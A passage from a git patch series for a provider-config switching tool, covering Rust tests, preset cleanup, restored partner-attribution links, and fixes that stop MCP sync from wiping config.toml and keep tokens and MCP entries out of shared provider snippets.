Sonnet 4.1".to_string()); + crate::openclaw_config::set_provider(&provider.id, live_settings) + .expect("seed edited live openclaw provider"); + + let updated = import_openclaw_providers_from_live(state) + .expect("import openclaw providers from live"); + assert_eq!(updated, 1); + + let saved = state + .db + .get_provider_by_id(&provider.id, AppType::OpenClaw.as_str()) + .expect("query updated openclaw provider") + .expect("openclaw provider should exist"); + assert_eq!(saved.name, provider.name); + assert_eq!( + saved.settings_config["baseUrl"], + json!("https://api.example.com/v1") + ); + assert_eq!( + saved.settings_config["models"][0]["name"], + json!("Claude Sonnet 4.1") + ); + }); + } + + #[test] + #[serial] + fn import_hermes_providers_from_live_updates_existing_provider_from_live() { + with_test_home(|state, _| { + let provider = hermes_provider("existing-hermes"); + state + .db + .save_provider(AppType::Hermes.as_str(), &provider) + .expect("seed existing hermes provider"); + + let mut live_settings = provider.settings_config.clone(); + live_settings["base_url"] = Value::String("https://api.hermes.example/v1".to_string()); + live_settings["models"]["gpt-4o"]["name"] = Value::String("GPT-4o Updated".to_string()); + crate::hermes_config::set_provider(&provider.id, live_settings) + .expect("seed edited live hermes provider"); + + let updated = import_hermes_providers_from_live(state) + .expect("import hermes providers from live"); + assert_eq!(updated, 1); + + let saved = state + .db + .get_provider_by_id(&provider.id, AppType::Hermes.as_str()) + .expect("query updated hermes provider") + .expect("hermes provider should exist"); + assert_eq!(saved.name, provider.name); + assert_eq!( + saved.settings_config["base_url"], + json!("https://api.hermes.example/v1") + ); + // models are denormalized from YAML dict to UI-friendly array by + // get_providers(), so access by index rather than dict key + assert_eq!( + saved.settings_config["models"][0]["name"], + json!("GPT-4o Updated") + ); + assert_eq!(saved.settings_config["models"][0]["id"], json!("gpt-4o")); + }); + } + #[test] #[serial] fn legacy_additive_provider_still_errors_on_live_config_parse_failure() { From bad3610d938579bdf3d4e285cb74fd49b92e29c3 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 10:22:02 +0800 Subject: [PATCH 27/73] refactor(presets): drop redundant 'OpenAI Compatible' preset MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove the 'OpenAI Compatible' custom-template preset from the OpenCode and OpenClaw preset lists. It was a duplicate entry point: the built-in 'custom' provider flow already exposes an interface-format selector whose default (@ai-sdk/openai-compatible / openai-completions) produces a byte-identical starting config. Having both left two list items pointing to the same place. Existing providers are unaffected — presets only seed form defaults on creation; saved providers store concrete npm/baseUrl/apiKey/models values. The '@ai-sdk/openai-compatible' dropdown label is intentionally kept; it is the format option users pick in the custom flow, not the deleted preset. --- src/config/openclawProviderPresets.ts | 28 ------------------------- src/config/opencodeProviderPresets.ts | 30 --------------------------- 2 files changed, 58 deletions(-) diff --git a/src/config/openclawProviderPresets.ts b/src/config/openclawProviderPresets.ts index 6f770082c..11886f425 100644 --- a/src/config/openclawProviderPresets.ts +++ b/src/config/openclawProviderPresets.ts @@ -2500,32 +2500,4 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ icon: "aws", iconColor: "#FF9900", }, - - // ========== Custom Template ========== - { - name: "OpenAI Compatible", - websiteUrl: "", - settingsConfig: { - baseUrl: "", - apiKey: "", - api: "openai-completions", - models: [], - }, - category: "custom", - isCustomTemplate: true, - icon: "generic", - iconColor: "#6B7280", - templateValues: { - baseUrl: { - label: "Base URL", - placeholder: "https://api.example.com/v1", - editorValue: "", - }, - apiKey: { - label: "API Key", - placeholder: "", - editorValue: "", - }, - }, - }, ]; diff --git a/src/config/opencodeProviderPresets.ts b/src/config/opencodeProviderPresets.ts index a92a29c1b..cb2fe58c5 100644 --- a/src/config/opencodeProviderPresets.ts +++ b/src/config/opencodeProviderPresets.ts @@ -2019,36 +2019,6 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ }, }, }, - { - name: "OpenAI Compatible", - websiteUrl: "", - settingsConfig: { - npm: "@ai-sdk/openai-compatible", - options: { - baseURL: "", - apiKey: "", - setCacheKey: true, - }, - models: {}, - }, - category: "custom", - isCustomTemplate: true, - icon: "generic", - iconColor: "#6B7280", - templateValues: { - baseURL: { - label: "Base URL", - placeholder: "https://api.example.com/v1", - editorValue: "", - }, - apiKey: { - label: "API Key", - placeholder: "", - editorValue: "", - }, - }, - }, - { name: "Oh My OpenCode", websiteUrl: "https://github.com/code-yeongyu/oh-my-openagent", From fad5b4c0946cc53f4b4c00a7562802b9db5e98bd Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 11:11:17 +0800 Subject: [PATCH 28/73] Revert "fix(presets): point Volcengine/Doubao/BytePlus website links to official sites" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The websiteUrl for 火山Agentplan, DouBaoSeed and BytePlus is intentionally the ccswitch-attributed apiKeyUrl link, per the Volcengine partner's request. Restore the invite/attribution links across all six app preset files. This reverts the websiteUrl changes from 56248087; apiKeyUrl was already left intact there. --- src/config/claudeDesktopProviderPresets.ts | 9 ++++++--- src/config/claudeProviderPresets.ts | 9 ++++++--- src/config/codexProviderPresets.ts | 9 ++++++--- src/config/hermesProviderPresets.ts | 9 ++++++--- src/config/openclawProviderPresets.ts | 9 ++++++--- src/config/opencodeProviderPresets.ts | 9 ++++++--- 6 files changed, 36 insertions(+), 18 deletions(-) diff --git a/src/config/claudeDesktopProviderPresets.ts b/src/config/claudeDesktopProviderPresets.ts index 58dd7b7ff..5c58d10ed 100644 --- a/src/config/claudeDesktopProviderPresets.ts +++ b/src/config/claudeDesktopProviderPresets.ts @@ -253,7 +253,8 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", category: "cn_official", @@ -272,7 +273,8 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", category: "cn_official", @@ -291,7 +293,8 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", category: "cn_official", diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 324cd6292..e688138b7 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -128,7 +128,8 @@ export const providerPresets: ProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -149,7 +150,8 @@ export const providerPresets: ProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -171,7 +173,8 @@ export const providerPresets: ProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index f2f41b16c..bb82c56a9 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -151,7 +151,8 @@ export const codexProviderPresets: CodexProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", auth: generateThirdPartyAuth(""), @@ -177,7 +178,8 @@ export const codexProviderPresets: CodexProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", auth: generateThirdPartyAuth(""), @@ -205,7 +207,8 @@ export const codexProviderPresets: CodexProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", auth: generateThirdPartyAuth(""), diff --git a/src/config/hermesProviderPresets.ts b/src/config/hermesProviderPresets.ts index 547ac9bdc..182fbaa93 100644 --- a/src/config/hermesProviderPresets.ts +++ b/src/config/hermesProviderPresets.ts @@ -285,7 +285,8 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -314,7 +315,8 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -343,7 +345,8 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { diff --git a/src/config/openclawProviderPresets.ts b/src/config/openclawProviderPresets.ts index 11886f425..bcca861c5 100644 --- a/src/config/openclawProviderPresets.ts +++ b/src/config/openclawProviderPresets.ts @@ -147,7 +147,8 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -183,7 +184,8 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -219,7 +221,8 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { diff --git a/src/config/opencodeProviderPresets.ts b/src/config/opencodeProviderPresets.ts index cb2fe58c5..bcfe77f8a 100644 --- a/src/config/opencodeProviderPresets.ts +++ b/src/config/opencodeProviderPresets.ts @@ -508,7 +508,8 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ }, { name: "火山Agentplan", - websiteUrl: "https://www.volcengine.com/product/ark", + websiteUrl: + "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.volcengine.com/activity/codingplan?ac=MMAP8JTTCAQ2&rc=6J6FV5N2&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -540,7 +541,8 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ }, { name: "BytePlus", - websiteUrl: "https://www.byteplus.com/en/product/modelark", + websiteUrl: + "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://www.byteplus.com/en/product/modelark?utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { @@ -572,7 +574,8 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ }, { name: "DouBaoSeed", - websiteUrl: "https://www.volcengine.com/product/doubao", + websiteUrl: + "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", apiKeyUrl: "https://console.volcengine.com/ark/region:ark+cn-beijing/apiKey?apikey=%7B%7D&utm_campaign=hw&utm_content=ccswitch&utm_medium=devrel_tool_web&utm_source=OWO&utm_term=ccswitch", settingsConfig: { From 8b1ce764f1ee47e94488b0c7f9f6f239abfff882 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 16:28:36 +0800 Subject: [PATCH 29/73] fix(mcp): fail closed when Codex config.toml is unparseable during MCP sync sync_single_server_to_codex silently fell back to an empty DocumentMut when the existing config.toml failed to parse, then wrote the whole file back -- wiping every other section (model, model_providers, comments) and leaving only the single synced [mcp_servers.] entry. Introduced by 3a548152, which fixed the removal path but left the destructive fallback on the sync path. Now the sync path returns an McpValidation error and leaves the file untouched, matching the fail-closed behavior of the read/validate path. --- src-tauri/src/mcp/codex.rs | 13 ++++------ src-tauri/tests/import_export_sync.rs | 36 +++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 8 deletions(-) diff --git a/src-tauri/src/mcp/codex.rs b/src-tauri/src/mcp/codex.rs index 7ab7eef8f..73100beda 100644 --- a/src-tauri/src/mcp/codex.rs +++ b/src-tauri/src/mcp/codex.rs @@ -361,14 +361,11 @@ pub fn sync_single_server_to_codex( let mut doc = if config_path.exists() { let content = std::fs::read_to_string(&config_path).map_err(|e| AppError::io(&config_path, e))?; - // 尝试解析现有配置,如果失败则创建新文档(容错处理) - match content.parse::() { - Ok(doc) => doc, - Err(e) => { - log::warn!("解析 Codex config.toml 失败: {e},将创建新配置"); - toml_edit::DocumentMut::new() - } - } + // 解析失败必须报错而不是用空文档顶替:写回空文档会把用户 + // config.toml 里的其它段落(model/model_providers/注释等)整体清空 + content + .parse::() + .map_err(|e| AppError::McpValidation(format!("解析 config.toml 失败: {e}")))? } else { toml_edit::DocumentMut::new() }; diff --git a/src-tauri/tests/import_export_sync.rs b/src-tauri/tests/import_export_sync.rs index e1e81d24e..f6df65876 100644 --- a/src-tauri/tests/import_export_sync.rs +++ b/src-tauri/tests/import_export_sync.rs @@ -497,6 +497,42 @@ fn sync_enabled_to_codex_returns_error_on_invalid_toml() { } } +#[test] +fn sync_single_server_to_codex_fails_closed_on_invalid_toml() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let path = cc_switch_lib::get_codex_config_path(); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).expect("create codex dir"); + } + // 含用户内容 + 语法错误的 config.toml:同步必须报错且不得覆盖文件 + let broken = "model = \"gpt-5.5\"\ninvalid = [\n"; + fs::write(&path, broken).expect("write invalid config"); + + let config = MultiAppConfig::default(); + let err = cc_switch_lib::sync_single_server_to_codex( + &config, + "srv", + &json!({ "type": "stdio", "command": "echo" }), + ) + .expect_err("sync should fail instead of wiping the file"); + match err { + cc_switch_lib::AppError::McpValidation(msg) => { + assert!( + msg.contains("config.toml"), + "error message should mention config.toml" + ); + } + other => panic!("unexpected error: {other:?}"), + } + + let text = fs::read_to_string(&path).expect("read config.toml"); + assert_eq!( + text, broken, + "invalid config.toml must be left untouched on sync failure" + ); +} + #[test] fn sync_codex_provider_missing_auth_returns_error() { let _guard = test_mutex().lock().expect("acquire test mutex"); From 93f56198da3c05d85e4dc9eb1c065f4a7f6a6f3f Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 16:28:53 +0800 Subject: [PATCH 30/73] fix(codex): strip synced [mcp_servers] from provider snapshots on backfill MCP servers are owned by the DB mcp_servers table; the [mcp_servers] section in live config.toml is only a projection re-synced after every live write. When switching away baked that projection into the stored provider snapshot, servers deleted in the app were resurrected the next time that provider was activated -- per-entry reconcile only knows rows that still exist in the DB, so it can never clean up such orphans. Strip [mcp_servers] (and the legacy [mcp.servers] form) from the live settings during switch-away backfill. Previously polluted snapshots self-heal the next time the user switches away from them. --- src-tauri/src/codex_config.rs | 74 +++++++++++++++++++++++++ src-tauri/src/services/provider/live.rs | 45 +++++++++++++++ 2 files changed, 119 insertions(+) diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index c1da0e4c3..ddd2b4eb1 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -1473,6 +1473,45 @@ pub fn strip_codex_unified_session_bucket_from_settings( Ok(()) } +/// Backfill helper: strip `[mcp_servers]` from a live `{ auth, config }` +/// settings object before it is stored back to the DB. +/// +/// MCP 服务器的 SSOT 是 DB 的 mcp_servers 表,live `config.toml` 里的 +/// `[mcp_servers]` 只是每次写 live 之后由 MCP 同步重新投影的产物。若回填时 +/// 烙进供应商存储配置,已在应用里删除的服务器会随下次激活该供应商被写回 +/// live,而逐条 reconcile 只认识 DB 现存条目、永远清不掉这种孤儿。 +pub fn strip_codex_mcp_servers_from_settings(settings: &mut Value) -> Result<(), AppError> { + let Some(config_text) = settings + .get("config") + .and_then(|value| value.as_str()) + .map(str::to_string) + else { + return Ok(()); + }; + if !config_text.contains("mcp") { + return Ok(()); + } + let mut doc = config_text + .parse::() + .map_err(|e| AppError::Message(format!("Invalid Codex config.toml: {e}")))?; + let mut changed = doc.as_table_mut().remove("mcp_servers").is_some(); + // 历史错误格式 [mcp.servers] 一并清理(live 侧 MCP 同步也做同样迁移) + if let Some(mcp_tbl) = doc.get_mut("mcp").and_then(|item| item.as_table_like_mut()) { + if mcp_tbl.remove("servers").is_some() { + changed = true; + } + if mcp_tbl.is_empty() { + doc.as_table_mut().remove("mcp"); + } + } + if changed { + if let Some(obj) = settings.as_object_mut() { + obj.insert("config".to_string(), Value::String(doc.to_string())); + } + } + Ok(()) +} + /// Route a Codex live write between full auth+config or config-only. /// /// Official providers with usable login material own `auth.json`. Third-party @@ -1803,6 +1842,41 @@ requires_openai_auth = true assert!(settings.pointer("/auth/tokens/access_token").is_some()); } + #[test] + fn strip_mcp_servers_from_settings_removes_table_and_legacy_form() { + let mut settings = json!({ + "auth": { "OPENAI_API_KEY": "sk-test" }, + "config": "# user comment\nmodel = \"gpt-5.5\"\n\n[mcp_servers.echo]\ntype = \"stdio\"\ncommand = \"echo\"\n\n[mcp.servers.legacy]\ncommand = \"noop\"\n", + }); + strip_codex_mcp_servers_from_settings(&mut settings).expect("strip mcp"); + let config = settings + .get("config") + .and_then(|v| v.as_str()) + .expect("config text"); + assert!(!config.contains("mcp_servers"), "got: {config}"); + assert!( + !config.contains("[mcp"), + "legacy [mcp.servers] gone: {config}" + ); + assert!(config.contains("# user comment"), "comments preserved"); + assert!(config.contains("model = \"gpt-5.5\"")); + } + + #[test] + fn strip_mcp_servers_from_settings_is_noop_without_mcp() { + let original = "# comment\nmodel = \"gpt-5.5\"\n"; + let mut settings = json!({ + "auth": {}, + "config": original, + }); + strip_codex_mcp_servers_from_settings(&mut settings).expect("strip mcp"); + assert_eq!( + settings.get("config").and_then(|v| v.as_str()), + Some(original), + "config text must be byte-identical when nothing is stripped" + ); + } + #[test] fn extract_base_url_prefers_active_provider_section() { let input = r#"model_provider = "azure" diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index 961df149c..4fe2c8cf4 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -596,6 +596,15 @@ fn restore_live_settings_for_provider_backfill( ); } + // MCP 服务器归 DB mcp_servers 表所有,live 里的 [mcp_servers] 是同步投影; + // 回填时剥掉,否则已删除的服务器会随供应商快照复活(逐条 reconcile 清不掉孤儿)。 + if let Err(err) = crate::codex_config::strip_codex_mcp_servers_from_settings(&mut settings) { + log::warn!( + "Failed to strip mcp_servers while backfilling '{}': {err}", + provider.id + ); + } + // 统一会话开关注入的共享 `custom` 路由只属于 live 配置;切换回填时 // 必须剥掉,否则官方供应商的存储配置被污染,关闭开关后无法还原。 if provider.category.as_deref() == Some("official") { @@ -1860,4 +1869,40 @@ mod tests { "backfill must keep the Live-reconstructed catalog when the DB has none" ); } + + #[test] + fn codex_switch_backfill_strips_synced_mcp_servers() { + // Live 里的 [mcp_servers] 是 MCP 同步的投影(SSOT 在 DB 表), + // 回填进供应商存储配置会让已删除的服务器随快照复活。 + let provider = Provider::with_id( + "prov".to_string(), + "Prov".to_string(), + json!({ + "auth": { "OPENAI_API_KEY": "sk-test" }, + "config": "model = \"gpt-5.5\"\n" + }), + None, + ); + + let live_settings = json!({ + "auth": { "OPENAI_API_KEY": "sk-test" }, + "config": "model = \"gpt-5.5\"\n\n[mcp_servers.echo]\ntype = \"stdio\"\ncommand = \"echo\"\n" + }); + + let result = + restore_live_settings_for_provider_backfill(&AppType::Codex, &provider, live_settings); + + let config_text = result + .get("config") + .and_then(|v| v.as_str()) + .expect("config text"); + assert!( + !config_text.contains("mcp_servers"), + "backfill must strip synced [mcp_servers] from the stored provider config, got: {config_text}" + ); + assert!( + config_text.contains("model = \"gpt-5.5\""), + "non-MCP content must survive the strip" + ); + } } From 473c2aaa9f559ada436701b3d19331b94d8f3ad5 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 16:29:14 +0800 Subject: [PATCH 31/73] fix(provider): exclude injected artifacts and routing fields from Codex common-config extraction extract_codex_common_config kept several fields in the shared snippet that must never cross providers: - [mcp_servers] and the legacy [mcp.servers] form: owned by the DB mcp_servers table; once in the snippet they get merged into every opted-in provider and no sync path can ever clean them up. - top-level experimental_bearer_token: normally lives inside [model_providers.] (stripped with the whole table), but three fallbacks write it at top level -- leaking the API key into the shared snippet. - model_catalog_json: per-provider catalog projection pointer. - web_search, only when it equals the injected "disabled" sentinel; a user-set value remains a shareable preference. - top-level wire_api: same provider-routing semantics as top-level base_url (the fallback target when no model_provider is set); leaking it would rewrite the next provider's protocol selection. This makes the extractor safe as the source for switch-time common-config autosync. --- src-tauri/src/codex_config.rs | 4 +- src-tauri/src/services/provider/mod.rs | 97 +++++++++++++++++++++++++- 2 files changed, 96 insertions(+), 5 deletions(-) diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index ddd2b4eb1..6f4f3aac2 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -15,14 +15,14 @@ pub const CC_SWITCH_CODEX_MODEL_PROVIDER_ID: &str = "custom"; pub const CC_SWITCH_CODEX_MODEL_CATALOG_FILENAME: &str = "cc-switch-model-catalog.json"; /// Top-level `config.toml` key that controls Codex's built-in web-search tool. -const CODEX_WEB_SEARCH_FIELD: &str = "web_search"; +pub(crate) const CODEX_WEB_SEARCH_FIELD: &str = "web_search"; /// Value that disables the web-search tool. Some native `/responses` gateways /// reject a `web_search` tool with `responses_feature_not_supported` ("tool type /// 'web_search' is not supported by this gateway phase"), so for those we write /// this per the vendors' official Codex docs. Also doubles as cc-switch's /// ownership sentinel: we only ever remove a `web_search` key whose value equals /// this string, never a user's own setting. -const CODEX_WEB_SEARCH_DISABLED: &str = "disabled"; +pub(crate) const CODEX_WEB_SEARCH_DISABLED: &str = "disabled"; /// Native `/responses` gateways whose first-party models do NOT support the Codex /// `web_search` hosted tool. A BLACKLIST (default-on): everything not listed keeps diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 0d2451e4a..6d3368c1a 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -809,10 +809,18 @@ mod tests { } #[test] - fn extract_codex_common_config_preserves_mcp_servers_base_url() { + fn extract_codex_common_config_strips_provider_fields_and_injected_artifacts() { + // 顶层 experimental_bearer_token 模拟无活跃路由时的 fallback 注入; + // web_search = "disabled" 是 cc-switch 对黑名单网关注入的哨兵; + // 顶层 wire_api 模拟无 model_provider 时的 fallback 写法; + // [mcp.servers] 是历史错误格式,sync_all_enabled 清不掉它。 let config_toml = r#"model_provider = "azure" model = "gpt-4" +wire_api = "chat" disable_response_storage = true +experimental_bearer_token = "sk-live-secret" +model_catalog_json = "cc-switch-model-catalog.json" +web_search = "disabled" [model_providers.azure] name = "Azure OpenAI" @@ -821,6 +829,9 @@ wire_api = "responses" [mcp_servers.my_server] base_url = "http://localhost:8080" + +[mcp.servers.legacy_server] +command = "legacy-cmd" "#; let settings = json!({ "config": config_toml }); @@ -843,9 +854,51 @@ base_url = "http://localhost:8080" !extracted.contains("[model_providers"), "should remove entire model_providers table" ); + // MCP 归 DB mcp_servers 表所有,不得进共享片段(含历史错误格式 [mcp.servers]) assert!( - extracted.contains("http://localhost:8080"), - "should keep mcp_servers.* base_url" + !extracted.contains("mcp_servers") && !extracted.contains("http://localhost:8080"), + "should strip mcp_servers from the shared snippet, got: {extracted}" + ); + assert!( + !extracted.contains("[mcp") && !extracted.contains("legacy-cmd"), + "should strip the legacy [mcp.servers] form from the shared snippet, got: {extracted}" + ); + // 顶层 wire_api 是供应商路由语义(model_providers 整表已剥, + // 